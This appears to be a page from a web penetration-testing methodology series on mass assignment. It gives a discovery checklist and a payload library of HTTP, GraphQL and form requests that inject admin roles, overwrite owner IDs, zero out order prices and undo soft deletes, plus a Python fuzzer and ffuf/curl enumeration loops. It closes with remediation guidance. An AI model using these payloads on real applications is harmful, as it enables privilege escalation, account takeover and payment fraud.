Mass Assignment
Severity: High | CWE: CWE-915 OWASP: A03:2021 – Injection | A01:2021 – Broken Access Control
What Is Mass Assignment?
Mass assignment (also called auto-binding or object injection) occurs when a framework automatically binds HTTP request parameters to model/object properties without an allowlist. If an application exposes a User model and the attacker adds role=admin or isAdmin=true to the request, the ORM may silently set those fields.
The vulnerability is architectural — it exists in the gap between what the API intends to accept and what it actually binds.
Normal registration request:
POST /api/register
{"username":"alice","password":"secret"}
Mass assignment attack:
POST /api/register
{"username":"alice","password":"secret","role":"admin","verified":true,"credits":99999}
If framework auto-binds all JSON fields to User model → privilege escalation.
Vulnerable frameworks with historical mass assignment issues: Rails (before strong parameters), Laravel (without $fillable/$guarded), Spring MVC (DataBinder without allowlist), ASP.NET MVC (DefaultModelBinder), Mongoose/Node.
Discovery Checklist
Phase 1 — Map Object Schemas
- Register a user → note the fields in the response object (exposed schema)
- GET
/api/users/meor/api/profile→ enumerate all fields in the JSON response - Look at API documentation (Swagger/OpenAPI) — identify read-only vs writable fields
- Compare POST request schema vs GET response schema — extra fields in response = candidates
- Check JS source and JS bundles for model definitions, form field names, Vuex/Redux store structure
- Look at error messages — validation errors often reveal field names:
"role is not permitted"= field exists - Monitor network requests from the app’s own frontend — does it ever send privilege fields?
Phase 2 — Identify High-Value Target Fields
-
role,roles,admin,isAdmin,superuser,userType,accountType -
verified,emailVerified,approved,active,status -
credits,balance,quota,subscription,plan,tier -
permissions,scopes,groups,team -
_id,id(overwrite existing record),userId,ownerId -
password,passwordHash(set directly without hashing) -
createdAt,updatedAt,deletedAt(soft delete bypass)
Phase 3 — Test Injection Points
- Registration endpoint — add extra fields
- Profile update endpoint — add fields not in the form
- Password reset — add role/privilege fields alongside new password
- Any PUT/PATCH endpoint — test partial update with injected fields
- Nested JSON objects —
{"user":{"admin":true},"profile":{...}} - Array parameters — some ORMs bind array index notation:
user[role]=admin - HTTP form data —
username=alice&password=x&role=admin(URL-encoded body)
Payload Library
Payload 1 — Basic Field Injection (REST JSON)
# Registration endpoint — try appending privileged fields:
POST /api/v1/users/register HTTP/1.1
Content-Type: application/json
{
"username": "attacker",
"email": "attacker@evil.com",
"password": "Passw0rd!",
"role": "admin",
"isAdmin": true,
"admin": true,
"verified": true,
"emailVerified": true,
"active": true,
"status": "approved",
"permissions": ["*"],
"subscription": "enterprise",
"credits": 999999
}
# Profile update — PATCH with injected fields:
PATCH /api/v1/users/me HTTP/1.1
Content-Type: application/json
Authorization: Bearer USER_TOKEN
{
"displayName": "Alice",
"role": "admin",
"isAdmin": true,
"plan": "premium",
"balance": 99999,
"emailVerified": true
}
Payload 2 — Nested Object / Dotted Path Injection
# Some frameworks bind nested JSON objects to nested model relations
POST /api/profile/update HTTP/1.1
Content-Type: application/json
{
"name": "Alice",
"address": {"city": "NYC"},
"user": {
"role": "admin",
"admin": true
}
}
# Rails nested_attributes style:
POST /api/profile HTTP/1.1
Content-Type: application/json
{
"profile": {
"bio": "hello",
"user_attributes": {
"role": "admin",
"admin": true
}
}
}
# Spring / ASP.NET MVC — dot notation in form data:
POST /api/update HTTP/1.1
Content-Type: application/x-www-form-urlencoded
name=Alice&user.role=admin&user.admin=true&user.isVerified=true
# PHP / Laravel — array bracket notation:
POST /register HTTP/1.1
Content-Type: application/x-www-form-urlencoded
name=alice&password=secret&role=admin&is_admin=1&user[role]=admin
Payload 3 — Overwrite Record ID / Owner
# Overwrite _id to take over another user's account:
POST /api/users/register HTTP/1.1
Content-Type: application/json
{
"username": "attacker",
"password": "secret",
"_id": "507f1f77bcf86cd799439011",
"userId": "VICTIM_USER_ID"
}
# Overwrite ownerId on a created resource:
POST /api/projects HTTP/1.1
Content-Type: application/json
Authorization: Bearer ATTACKER_TOKEN
{
"name": "My Project",
"ownerId": "VICTIM_USER_ID",
"userId": "VICTIM_USER_ID",
"createdBy": "VICTIM_USER_ID"
}
# Change price/cost field on order submission:
POST /api/orders HTTP/1.1
Content-Type: application/json
{
"productId": "PROD123",
"quantity": 1,
"price": 0.01,
"totalAmount": 0.01,
"discount": 99.99
}
# Bypass soft delete:
PATCH /api/records/123 HTTP/1.1
Content-Type: application/json
{
"name": "test",
"deletedAt": null,
"deleted": false,
"archived": false
}
Payload 4 — Field Enumeration via Fuzzing
#!/usr/bin/env python3
"""
Mass assignment field fuzzer — discover bindable fields via response diffing
"""
import requests, json, copy
TARGET = "https://target.com/api/v1/users/me"
HEADERS = {"Authorization": "Bearer USER_TOKEN", "Content-Type": "application/json"}
BASE_BODY = {"displayName": "test"}
# Common privileged field names to test:
FIELD_CANDIDATES = [
# Role/privilege
"role", "roles", "admin", "isAdmin", "superUser", "userType",
"accountType", "userRole", "accessLevel", "privilege", "permissions",
# Verification
"verified", "emailVerified", "phoneVerified", "approved", "active",
"enabled", "status", "state", "confirm", "isVerified",
# Financial
"credits", "balance", "tokens", "quota", "limit", "allowance",
"subscription", "plan", "tier", "package", "level",
# Ownership
"_id", "id", "userId", "ownerId", "createdBy", "updatedBy",
# Dates
"createdAt", "updatedAt", "deletedAt", "expiresAt", "trialEnd",
]
# Get baseline response:
baseline = requests.patch(TARGET, headers=HEADERS, json=BASE_BODY)
baseline_body = baseline.json()
print(f"[*] Baseline response: {list(baseline_body.keys())}")
results = {"accepted": [], "rejected": [], "error": []}
for field in FIELD_CANDIDATES:
for val in [True, "admin", 1, "premium", 99999]:
body = copy.copy(BASE_BODY)
body[field] = val
try:
r = requests.patch(TARGET, headers=HEADERS, json=body, timeout=10)
resp = r.json()
# Field was accepted if it appears in response with our value:
if field in resp and resp[field] == val:
print(f"[!!!] MASS ASSIGNMENT: {field}={val} → accepted! Response: {resp[field]}")
results["accepted"].append((field, val))
break
# Or if response changed at all:
elif resp != baseline_body:
print(f"[?] Changed response with {field}={val}: {resp}")
except Exception as e:
results["error"].append(field)
break # Only test first value per field — remove break to test all
print("\n[+] Accepted fields:", results["accepted"])
Payload 5 — Framework-Specific Techniques
# Rails — identify via X-Powered-By or stack traces
# Strong parameters bypass: look for permit! (permit all) or missing permit:
# Grep app source (if available) for: .permit! or params.require().permit( without your target field
# Test: add field not in permit list → if it's set → mass assignment
# Example: devise registration — common rails vuln:
POST /users HTTP/1.1
Content-Type: application/x-www-form-urlencoded
user[email]=attacker@evil.com&user[password]=secret&user[admin]=true&user[role]=admin
# Django REST Framework — serializer field injection:
# If serializer uses many=True or has extra_kwargs without read_only:
POST /api/users/ HTTP/1.1
Content-Type: application/json
{"username":"attacker","password":"secret","is_staff":true,"is_superuser":true,"groups":[1,2]}
# Laravel — $fillable bypass via $guarded=[]:
# Test if any field outside $fillable is accepted:
POST /api/register HTTP/1.1
Content-Type: application/json
{"name":"test","email":"t@t.com","password":"secret","is_admin":1,"role_id":1}
# Node.js / Mongoose — if model uses schema.set('strict', false):
# Or if handler does: User.create(req.body) directly:
POST /api/users HTTP/1.1
Content-Type: application/json
{"username":"test","password":"x","__proto__":{"admin":true},"constructor":{"role":"admin"}}
# ASP.NET — DefaultModelBinder bypasses:
POST /Account/Register HTTP/1.1
Content-Type: application/x-www-form-urlencoded
UserName=alice&Password=secret&Roles=Admin&IsApproved=True&IsLockedOut=False
# Spring MVC — @ModelAttribute binding — test with @InitBinder missing:
POST /api/user/update HTTP/1.1
Content-Type: application/x-www-form-urlencoded
username=alice&email=alice@corp.com&role=ADMIN&authorities=ROLE_ADMIN
Payload 6 — GraphQL Mass Assignment
# GraphQL mutations — inject extra fields in input types:
mutation {
updateProfile(input: {
displayName: "Alice"
role: "admin"
isAdmin: true
plan: "enterprise"
credits: 999999
}) {
id
role
isAdmin
credits
}
}
# Introspection to find input type fields (may be writable but not shown in docs):
{
__type(name: "UpdateUserInput") {
fields { name type { name } }
inputFields { name type { name } }
}
}
# Also query the output type to compare available fields:
{
__type(name: "User") {
fields { name type { name kind } }
}
}
# Fields in User type that don't appear in any documented mutation = candidate mass assignment fields
Tools
# Arjun — HTTP parameter discovery (finds hidden parameters):
pip3 install arjun
arjun -u https://target.com/api/profile/update -m JSON \
--headers "Authorization: Bearer TOKEN" \
--data '{"displayName":"test"}' \
-oJ arjun_results.json
# Param Miner (Burp extension):
# Right-click request → Guess JSON parameters
# Automatically finds non-standard JSON fields accepted by endpoint
# ffuf — fuzz JSON field names:
ffuf -u https://target.com/api/profile -X PATCH \
-H "Content-Type: application/json" \
-H "Authorization: Bearer TOKEN" \
-d '{"displayName":"test","FUZZ":"admin"}' \
-w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
-fr '"error"' -mc 200
# Manual field enumeration with curl:
for field in role admin isAdmin verified plan credits permissions; do
response=$(curl -s -X PATCH https://target.com/api/profile \
-H "Authorization: Bearer TOKEN" \
-H "Content-Type: application/json" \
-d "{\"displayName\":\"test\",\"$field\":\"admin\"}")
echo "Field: $field → $(echo $response | python3 -c 'import sys,json; d=json.load(sys.stdin); print(list(d.keys()))')"
done
# Extract model fields from JS bundles — look for form definitions:
curl -s https://target.com/static/app.js | \
grep -oE '"(role|admin|isAdmin|verified|credits|plan|permissions|balance|subscription)[^"]*"' | sort -u
# Compare registration request fields vs user profile response fields:
# Fields in GET /api/me that weren't in POST /api/register = potential mass assignment targets
curl -s https://target.com/api/me -H "Authorization: Bearer TOKEN" | \
python3 -c 'import sys,json; print(list(json.load(sys.stdin).keys()))'
Remediation Reference
- Explicit allowlisting: never bind entire request body to model; always specify which fields are writable — Rails
permit(), Laravel$fillable, DRF serializerfields, SpringsetAllowedFields() - Separate input and output DTOs: use dedicated request objects (
RegisterRequest) distinct from domain model — do not expose the ORM model directly in API layer - Mark sensitive fields read-only:
@JsonProperty(access = Access.READ_ONLY)in Jackson,[JsonIgnore]in .NET,readonlyin Mongoose schema - Validate privilege field changes: any field that modifies role/permissions should require elevated auth (admin token, password re-confirmation)
- Schema-based validation: use JSON Schema validation on the request body — reject keys not present in the schema definition
- Audit ORM usage: grep for
create(req.body),update(req.body),assign(model, params)— each is a mass assignment risk
Part of the Web Application Penetration Testing Methodology series.